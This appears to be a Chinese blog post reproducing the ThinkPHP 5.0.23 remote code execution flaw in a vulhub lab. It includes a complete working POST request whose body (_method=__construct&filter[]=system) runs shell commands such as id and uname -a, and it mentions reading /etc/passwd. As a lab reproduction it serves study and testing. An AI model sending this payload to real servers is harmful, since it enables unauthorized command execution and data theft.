首页 > 编程语言 >Thinkphp 5.0.23 远程代码执行漏洞

Thinkphp 5.0.23 远程代码执行漏洞

时间:2023-08-09 20:11:06浏览次数:35  
标签:5.0 23 漏洞 代码执行 ThinkPHP method

漏洞简介

ThinkPHP是一款运用极广的PHP开发框架。

在ThinkPHP 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞复现

开启vulhub靶场环境,确保 ThinkPHP 正常运行

cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
docker ps -a
docker logs a355  #替换成你的容器名称

浏览器访问http://192.168.8.139:8080/

刷新页面,然后开启抓包。

更改以下请求包内容,以构造恶意playload:

传参方式由GET改为POST

URL的/改为/index.php?s=captch

传入参数为_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

命令id执行成功,

命令pwd cat /etc/passed也执行成功。

注:其它请求头参数也需修改,否则无法执行成功。以下是完整的请求头信息:

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.8.139:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname -a

标签:5.0,23,漏洞,代码执行,ThinkPHP,method
From: https://www.cnblogs.com/dustfree/p/17617791.html

相关文章

  • 2023.8.89周三:输入带空格的字符串
    1.#include<string>strings;getline(cin,s);2.#include<cstring>#include<stdio.h>chara[1024];gets(a);intlen=strlen(a);//得到数组的实际长度//!!!!!!!!!!!!!!注:cin和getline不能连着用,中间需要加一个cin.ignore;......
  • 汉源高科1路单向非压缩HDMI视频(带环出)+1路双向立体声音频+1路232数据高清视频光端机
    1路单向非压缩HDMI视频(发射端带本地环出)+1路双向立体声音频+1路RS232数据HDMI高清视频光端机HY-HDMI-1V(Z)1D1A(S)是汉源高科(北京)科技有限公司自主研发产品的一款产品,HDMI光端机是由HDMI发射端和HDMI接收端组成,通过一芯单模光纤传输HDMI高清音视频+RS232数据信号。在多媒体应用系统......
  • 汉源高科1路单向非压缩HDMI视频+1路双向音频+1路RS232数据高清视频光端机
    1路单向非压缩HDMI视频+1路双向音频+1路RS232数据HDMI高清视频光端机HY-HDMI-1V(Z)1D1A(S)是汉源高科(北京)科技有限公司自主研发产品的一款产品,HDMI光端机是由HDMI发射端和HDMI接收端组成,通过一芯单模光纤传输HDMI高清音视频+RS232数据信号。在多媒体应用系统中,往往需要把HDMI数字视......
  • 高频SQL 50题(基础版): 大的国家 | 2023-08-09
    问题World表:+-------------+---------+|ColumnName|Type|+-------------+---------+|name|varchar||continent|varchar||area|int||population|int||gdp|bigint|+-------------+---------+name是该表......
  • 行业追踪,2023-08-09
    自动复盘2023-08-09凡所有相,皆是虚妄。若见诸相非相,即见如来。k线图是最好的老师,每天持续发布板块的rps排名,追踪板块,板块来开仓,板块去清仓,丢弃自以为是的想法,板块去留让市场来告诉你跟踪板块总结:成交额超过100亿排名靠前,macd柱由绿转红成交量要大于均线有必要给每个行......
  • 2023作物育种与人工智能研讨会
    人工智能推动作物育种新绿色革命......
  • 杭电多校 2023 杂题题解
    打算只写点有意思的题。D1JEasyproblemI注意到\(x_i\)单增,所以一个数被减到负数之后,所有的操作都会将它减到负数,也就等价于乘\(-1\)再相加。使用一棵线段树维护所有数,将这些数分为两种,一种如上,一种是区间减。最终所有数都会变为需要乘\(-1\)再相加的数,于是只要每次精......
  • 23种设计模式及其应用场景
    23种设计模式及其应用场景设计模式主要分三个类型:创建型、结构型和行为型。创建型有:一、Singleton,单例模式:保证一个类只有一个实例,并提供一个访问它的全局访问点;应用场景:一个无状态的类使用单例模式节省内存资源。二、AbstractFactory,抽象工厂:提供一个创建一系列相关或相......
  • 2023中国(合肥)场景创新峰会成功举办,全息网御被纳入《合肥市第二批场景能力清单》
    场景作为重要的城市资源,在驱动科技创新、产业发展、城市治理方面发挥着重要作用。近年来,为促进数字技术与实体经济深度融合,加速前沿科技转化落地、吸引全球创新资源集聚,合肥市聚焦“双找”:为产品找场景,为场景找产品,推进全领域、全市域、全流程场景应用创新工作,打造“全域场景应用创......
  • 黑魂223 重攻击按钮
    打开ActorController脚本,增加下列代码:如果按的是右手重攻击就会执行右手重攻击,否则就是左手重攻击;如果左手没有持盾,那左手就执行重攻击,否则就进行盾反。 ......